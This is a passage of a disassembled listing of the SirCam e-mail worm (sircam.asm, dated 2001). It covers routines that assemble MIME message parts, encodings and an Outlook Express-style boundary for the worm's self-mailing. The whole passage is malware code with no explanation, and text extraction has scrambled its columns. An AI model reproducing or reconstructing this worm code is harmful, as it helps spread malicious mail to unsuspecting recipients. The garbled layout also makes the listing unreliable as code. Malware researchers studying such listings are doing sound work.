ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_411CB0: xor pop pop pop mov push ; DATA XREF: sub_4118CC+3CF\030o eax, eax edx ecx ecx fs:[eax], edx offset loc_411CDF loc_411CBD: ; CODE XREF: CODE:00411CDD\031j lea eax, [ebp-34h] mov edx, 9 call sub_4034EC lea eax, [ebp-0Ch] mov edx, 2 call sub_4034EC retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_411CD8: ; DATA XREF: sub_4118CC+18\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_411CBD ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_411CDF: ; DATA XREF: CODE:00411CB8\030o pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 dd 0FFFFFFFFh, 1 dword_411CF0 dd 3Dh, 0FFFFFFFFh, 5 ; DATA XREF: sub_4118CC+11D\030o aPlain db ’plain’,0 ; DATA XREF: sub_4118CC+1FA\030o align 4 dd 0FFFFFFFFh, 5 sircam.asm Fri Aug 10 12:42:44 2001 489 aMixed db ’mixed’,0 ; DATA XREF: sub_4118CC+209\030o align 4 dd 0FFFFFFFFh, 6 aRfc822 db ’rfc822’,0 ; DATA XREF: sub_4118CC+218\030o align 4 dd 0FFFFFFFFh, 0Ch dword_411D2C dd 6574636Fh, 74732D74h, 6D616572h, 0, 0FFFFFFFFh, 15h ; DATA XREF: sub_4118CC+227\030o aContentDisposi db ’Content-Disposition: ’,0 ; DATA XREF: sub_4118CC+23D\030o align 4 dd 0FFFFFFFFh, 4 a7bit db ’7bit’,0 ; DATA XREF: sub_4118CC+26A\030o align 4 dd 0FFFFFFFFh, 4 a8bit db ’8bit’,0 ; DATA XREF: sub_4118CC+279\030o align 4 dd 0FFFFFFFFh, 10h aQuotedPrintabl db ’quoted-printable’,0 ; DATA XREF: sub_4118CC+288\030o align 4 dd 0FFFFFFFFh, 6 aBase64 db ’base64’,0 ; DATA XREF: sub_4118CC+297\030o align 4 dd 0FFFFFFFFh, 1Bh aContentTransfe db ’Content-Transfer-Encoding: ’,0 ; DATA XREF: sub_4118CC+2B2\030o dd 0FFFFFFFFh, 1 dword_411DD4 dd 2Fh, 0FFFFFFFFh, 0Ah ; DATA XREF: sub_4118CC+2E2\030o ; sub_4118CC+312\030o ... dword_411DE0 dd 6863203Bh, 65737261h, 3D74h, 0FFFFFFFFh, 0Ch ; DATA XREF: sub_4118CC+2 EA\030o dword_411DF4 dd 6F62203Bh, 61646E75h, 223D7972h, 0, 0FFFFFFFFh, 1 ; DATA XREF: sub_4118CC+31A\030o dword_411E0C dd 22h, 0FFFFFFFFh, 1 ; DATA XREF: sub_4118CC+322\030o ; sub_4118CC+398\030o dword_411E18 dd 20h, 0FFFFFFFFh, 7 ; DATA XREF: sub_4118CC+355\030o dword_411E24 dd 616E203Bh, 3D656Dh, 0FFFFFFFFh, 8 ; DATA XREF: sub_4118CC+36E\030o dword_411E34 dd 616E203Bh, 223D656Dh, 0, 0FFFFFFFFh, 0Eh ; DATA XREF: sub_4118CC+390 \030o dword_411E48 dd 746E6F43h, 2D746E65h, 65707954h, 203Ah ; DATA XREF: sub_4118CC+3B0\030 o ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_411E58 proc near var_C var_8 var_4 = dword ptr -0Ch = dword ptr -8 = dword ptr -4 push mov push push push push push push mov mov mov call xor push push push mov xor mov call ; CODE XREF: sub_412708+4B\031p ebp ebp, esp 0 0 0 ebx esi edi [ebp+var_4], edx esi, eax eax, [ebp+var_4] sub_4038D8 eax, eax ebp offset loc_411F2F dword ptr fs:[eax] fs:[eax], esp edx, edx eax, esi sub_411F70 sircam.asm Fri Aug 10 12:42:44 2001 490 lea call lea mov mov call mov lea call cmp jnz lea mov call eax, [esi+14h] sub_4034C8 ecx, [ebp+var_C] edx, offset dword_411F48 eax, [ebp+var_4] sub_41137C eax, [ebp+var_C] edx, [ebp+var_8] sub_406D54 [ebp+var_8], 0 short loc_411EBC edx, [ebp+var_8] eax, [ebp+var_4] sub_406D54 mov mov ; CODE XREF: sub_411E58+57\030j edi, 10h ebx, offset off_41D76C loc_411EBC: loc_411EC6: ; CODE XREF: sub_411E58+95\031j mov eax, [ebx] mov edx, [ebp+var_8] call sub_403834 jnz short loc_411EE9 mov edx, [ebx+4] mov eax, esi call sub_411F70 lea eax, [esi+14h] mov edx, [ebx+8] call sub_40351C jmp short loc_411EEF ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_411EE9: ; CODE XREF: sub_411E58+78\030j add dec jnz ebx, 0Ch edi short loc_411EC6 cmp jnz mov mov call ; CODE XREF: sub_411E58+8F\030j dword ptr [esi+4], 0 short loc_411F01 edx, offset aApplication ; "application" eax, esi sub_411F70 cmp jnz lea mov call ; CODE XREF: sub_411E58+9B\030j dword ptr [esi+14h], 0 short loc_411F14 eax, [esi+14h] edx, offset aMixed_0 ; "mixed" sub_40351C xor pop pop pop mov push ; CODE XREF: sub_411E58+AD\030j eax, eax edx ecx ecx fs:[eax], edx offset loc_411F36 loc_411EEF: loc_411F01: loc_411F14: loc_411F21: sub_411E58 ; CODE XREF: CODE:00411F34\031j lea eax, [ebp+var_C] mov edx, 3 call sub_4034EC retn endp ; sp = -20h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_411F2F: ; DATA XREF: sub_411E58+1C\030o sircam.asm Fri Aug 10 12:42:44 2001 491 jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_411F21 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_411F36: ; DATA XREF: sub_411E58+C4\030o pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 dd 0FFFFFFFFh, 1 dword_411F48 dd 2Eh, 0FFFFFFFFh, 0Bh ; DATA XREF: sub_411E58+3B\030o aApplication db ’application’,0 ; DATA XREF: sub_411E58+9D\030o dd 0FFFFFFFFh, 5 aMixed_0 db ’mixed’,0 ; DATA XREF: sub_411E58+B2\030o align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_411F70 proc near var_8 var_4 = dword ptr -8 = dword ptr -4 ; CODE XREF: sub_411E58+2B\030p ; sub_411E58+7F\030p ... push mov add push xor mov mov mov mov call xor push push push mov lea mov call lea mov call mov mov mov call dec jnz mov ebp ebp, esp esp, 0FFFFFFF8h ebx ecx, ecx [ebp+var_8], ecx [ebp+var_4], edx ebx, eax eax, [ebp+var_4] sub_4038D8 eax, eax ebp offset loc_412008 dword ptr fs:[eax] fs:[eax], esp eax, [ebx+4] edx, [ebp+var_4] sub_40351C edx, [ebp+var_8] eax, [ebp+var_4] sub_406D54 byte ptr [ebx+10h], 3 edx, [ebp+var_8] eax, offset aText ; "TEXT" sub_4039B4 eax short loc_411FC5 byte ptr [ebx+10h], 0 mov mov call dec jnz mov ; CODE XREF: sub_411F70+4F\030j edx, [ebp+var_8] eax, offset aMultipart ; "MULTIPART" sub_4039B4 eax short loc_411FD9 byte ptr [ebx+10h], 1 mov edx, [ebp+var_8] loc_411FC5: loc_411FD9: ; CODE XREF: sub_411F70+63\030j sircam.asm Fri Aug 10 12:42:44 2001 mov call dec jnz mov eax, offset aMessage ; "MESSAGE" sub_4039B4 eax short loc_411FED byte ptr [ebx+10h], 2 xor pop pop pop mov push ; CODE XREF: sub_411F70+77\030j eax, eax edx ecx ecx fs:[eax], edx offset loc_41200F loc_411FED: loc_411FFA: sub_411F70 492 ; CODE XREF: CODE:0041200D\031j lea eax, [ebp+var_8] mov edx, 2 call sub_4034EC retn endp ; sp = -14h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_412008: ; DATA XREF: sub_411F70+1C\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_411FFA ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_41200F: ; DATA XREF: sub_411F70+85\030o pop ebx pop ecx pop ecx pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ dd 0FFFFFFFFh, 4 aText db ’TEXT’,0 ; DATA XREF: sub_411F70+44\030o align 4 dd 0FFFFFFFFh, 9 aMultipart db ’MULTIPART’,0 ; DATA XREF: sub_411F70+58\030o align 4 dd 0FFFFFFFFh, 7 aMessage db ’MESSAGE’,0 ; DATA XREF: sub_411F70+6C\030o ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_412048 proc near var_1C var_18 var_14 var_10 var_C var_5 var_4 arg_0 = = = = = = = = dword ptr -1Ch dword ptr -18h dword ptr -14h dword ptr -10h dword ptr -0Ch byte ptr -5 dword ptr -4 dword ptr 8 push mov push push push push push push push push ebp ebp, esp 0 0 0 0 0 0 0 ebx ; CODE XREF: sub_412240+51\031p sircam.asm Fri Aug 10 12:42:44 2001 push push mov mov mov mov call xor push push push mov lea push mov mov mov call lea mov call mov lea call lea call mov call mov test jle mov 493 esi edi [ebp+var_5], cl ebx, edx [ebp+var_4], eax eax, [ebp+var_4] sub_4038D8 eax, eax ebp offset loc_412143 dword ptr fs:[eax] fs:[eax], esp eax, [ebp+var_C] eax cl, [ebp+var_5] edx, ebx eax, [ebp+var_4] sub_40EDA4 edx, [ebp+var_14] eax, [ebp+var_C] sub_40F3B4 edx, [ebp+var_14] eax, [ebp+var_C] sub_403560 eax, [ebp+var_10] sub_4034C8 eax, [ebp+var_C] sub_403724 esi, eax esi, esi short loc_4120F3 edi, 1 loc_4120BC: ; CODE XREF: sub_412048+A9\031j mov eax, [ebp+var_C] mov bl, [eax+edi-1] cmp bl, 20h jnz short loc_4120D7 lea eax, [ebp+var_10] mov edx, offset dword_41215C call sub_40372C jmp short loc_4120EF ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4120D7: lea mov mov call mov lea call ; CODE XREF: sub_412048+7E\030j eax, [ebp+var_18] edx, [ebp+var_C] edx, ebx sub_403670 edx, [ebp+var_18] eax, [ebp+var_10] sub_40372C inc dec jnz edi esi short loc_4120BC push lea mov call push push push push mov mov call ; CODE XREF: sub_412048+6D\030j offset dword_412168 edx, [ebp+var_1C] al, [ebp+var_5] sub_40EF00 [ebp+var_1C] offset dword_412174 [ebp+var_10] offset dword_412180 eax, [ebp+arg_0] edx, 5 sub_4037E4 loc_4120EF: ; CODE XREF: sub_412048+8D\030j loc_4120F3: sircam.asm Fri Aug 10 12:42:44 2001 xor pop pop pop mov push loc_41212D: sub_412048 494 eax, eax edx ecx ecx fs:[eax], edx offset loc_41214A ; CODE XREF: CODE:00412148\031j lea eax, [ebp+var_1C] mov edx, 5 call sub_4034EC lea eax, [ebp+var_4] call sub_4034C8 retn endp ; sp = -48h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_412143: ; DATA XREF: sub_412048+27\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_41212D ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_41214A: ; DATA XREF: sub_412048+E0\030o pop edi pop esi pop ebx mov esp, ebp pop ebp retn 4 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 dd 0FFFFFFFFh, 3 dword_41215C dd 30323Dh, 0FFFFFFFFh, 2 ; DATA XREF: sub_412048+83\030o dword_412168 dd 3F3Dh, 0FFFFFFFFh, 3 ; DATA XREF: sub_412048+AB\030o dword_412174 dd 3F513Fh, 0FFFFFFFFh, 2 ; DATA XREF: sub_412048+BE\030o dword_412180 dd 3D3Fh ; DATA XREF: sub_412048+C6\030o ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_412184 proc near var_24 var_4 = dword ptr -24h = dword ptr -4 push mov add push push push mov mov call xor push push push mov xor mov call mov test jle mov ; CODE XREF: sub_412240+24\031p ebp ebp, esp esp, 0FFFFFFDCh ebx esi edi [ebp+var_4], eax eax, [ebp+var_4] sub_4038D8 eax, eax ebp offset loc_41220E dword ptr fs:[eax] fs:[eax], esp ebx, ebx eax, [ebp+var_4] sub_403724 edi, eax edi, edi short loc_4121F8 esi, 1 sircam.asm Fri Aug 10 12:42:44 2001 495 loc_4121BB: ; CODE XREF: sub_412184+72\031j push esi push edi mov esi, offset dword_412220 lea edi, [ebp+var_24] mov ecx, 8 repe movsd pop edi pop esi lea eax, [ebp+var_24] mov edx, ds:off_41DBFC mov cl, 20h call sub_402A44 mov eax, [ebp+var_4] mov al, [eax+esi-1] and eax, 0FFh bt [ebp+var_24], eax jnb short loc_4121F4 mov bl, 1 jmp short loc_4121F8 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4121F4: ; CODE XREF: sub_412184+6A\030j inc dec jnz esi edi short loc_4121BB loc_4121F8: ; CODE XREF: sub_412184+30\030j ; sub_412184+6E\030j xor pop pop pop mov push eax, eax edx ecx ecx fs:[eax], edx offset loc_412215 loc_412205: sub_412184 ; CODE XREF: CODE:00412213\031j lea eax, [ebp+var_4] call sub_4034C8 retn endp ; sp = -38h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_41220E: ; DATA XREF: sub_412184+17\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_412205 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_412215: ; DATA XREF: sub_412184+7C\030o mov eax, ebx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 dword_412220 dd 0FFFFFFFEh, 3 dup(0), 4 dup(0FFFFFFFFh) ; DATA XREF: sub_412184+39\030 o ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_412240 proc near ; CODE XREF: sub_4122C8+58\031p ; sub_412A08+8C\031p ... sircam.asm var_4 Fri Aug 10 12:42:44 2001 496 = dword ptr -4 push ebp mov ebp, esp push ecx push ebx push esi mov esi, edx mov [ebp+var_4], eax mov eax, [ebp+var_4] call sub_4038D8 xor eax, eax push ebp push offset loc_4122B8 push dword ptr fs:[eax] mov fs:[eax], esp mov eax, [ebp+var_4] call sub_412184 test al, al jz short loc_412298 call sub_40EEAC mov edx, eax mov ecx, ds:dword_4122C4 mov eax, [ebp+var_4] call sub_40F230 mov ebx, eax push esi call sub_40EEAC mov edx, eax mov ecx, ebx mov eax, [ebp+var_4] call sub_412048 jmp short loc_4122A2 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_412298: ; CODE XREF: sub_412240+2B\030j mov mov call eax, esi edx, [ebp+var_4] sub_40351C xor pop pop pop mov push ; CODE XREF: sub_412240+56\030j eax, eax edx ecx ecx fs:[eax], edx offset loc_4122BF loc_4122A2: loc_4122AF: sub_412240 ; CODE XREF: CODE:004122BD\031j lea eax, [ebp+var_4] call sub_4034C8 retn endp ; sp = -14h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4122B8: ; DATA XREF: sub_412240+16\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_4122AF ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4122BF: ; DATA XREF: sub_412240+6A\030o pop esi pop ebx pop ecx pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ dword_4122C4 dd 3FFh ; DATA XREF: sub_412240+34\030r sircam.asm Fri Aug 10 12:42:44 2001 497 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_4122C8 proc near var_10 var_C var_8 var_4 = = = = dword dword dword dword ptr ptr ptr ptr ; CODE XREF: sub_412A08+107\031p ; sub_412A08+135\031p -10h -0Ch -8 -4 push ebp mov ebp, esp xor ecx, ecx push ecx push ecx push ecx push ecx push ebx mov ebx, edx mov [ebp+var_4], eax mov eax, [ebp+var_4] call sub_4038D8 xor eax, eax push ebp push offset loc_41235C push dword ptr fs:[eax] mov fs:[eax], esp lea edx, [ebp+var_8] mov eax, [ebp+var_4] call sub_4114A8 lea edx, [ebp+var_C] mov eax, [ebp+var_4] call sub_41140C cmp [ebp+var_8], 0 jnz short loc_412315 mov eax, ebx mov edx, [ebp+var_C] call sub_40351C jmp short loc_412341 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_412315: push lea mov call push push push push mov mov call ; CODE XREF: sub_4122C8+3F\030j offset dword_412370 edx, [ebp+var_10] eax, [ebp+var_8] sub_412240 [ebp+var_10] offset dword_41237C [ebp+var_C] offset dword_412388 eax, ebx edx, 5 sub_4037E4 xor pop pop pop mov push ; CODE XREF: sub_4122C8+4B\030j eax, eax edx ecx ecx fs:[eax], edx offset loc_412363 loc_412341: loc_41234E: lea mov call retn ; CODE XREF: CODE:00412361\031j eax, [ebp+var_10] edx, 4 sub_4034EC sircam.asm sub_4122C8 Fri Aug 10 12:42:44 2001 498 endp ; sp = -30h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_41235C: ; DATA XREF: sub_4122C8+1A\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_41234E ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_412363: ; DATA XREF: sub_4122C8+81\030o pop ebx mov esp, ebp pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ dd 0FFFFFFFFh, 1 dword_412370 dd 22h, 0FFFFFFFFh, 2 ; DATA XREF: sub_4122C8+4D\030o dword_41237C dd 3C22h, 0FFFFFFFFh, 1 ; DATA XREF: sub_4122C8+60\030o dword_412388 dd 3Eh ; DATA XREF: sub_4122C8+68\030o ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_41238C proc near var_4 = dword ptr -4 push mov push push push mov xor push push push mov call mov call mov push lea mov mov call push push mov mov call xor pop pop pop mov push ; CODE XREF: sub_412844+49\031p ebp ebp, esp 0 ebx esi esi, eax eax, eax ebp offset loc_4123F2 dword ptr fs:[eax] fs:[eax], esp sub_4027C0 eax, 7FFFFFFFh sub_4028F4 ebx, eax offset dword_412408 ecx, [ebp+var_4] edx, 8 eax, ebx sub_40701C [ebp+var_4] offset a_outlook_expre ; "_Outlook_Express_message_boundary" eax, esi edx, 3 sub_4037E4 eax, eax edx ecx ecx fs:[eax], edx offset loc_4123F9 loc_4123E9: sub_41238C ; CODE XREF: CODE:004123F7\031j lea eax, [ebp+var_4] call sub_4034C8 retn endp ; sp = -20h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4123F2: ; DATA XREF: sub_41238C+C\030o sircam.asm Fri Aug 10 12:42:44 2001 499 jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_4123E9 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4123F9: ; DATA XREF: sub_41238C+58\030o pop esi pop ebx pop ecx pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 dd 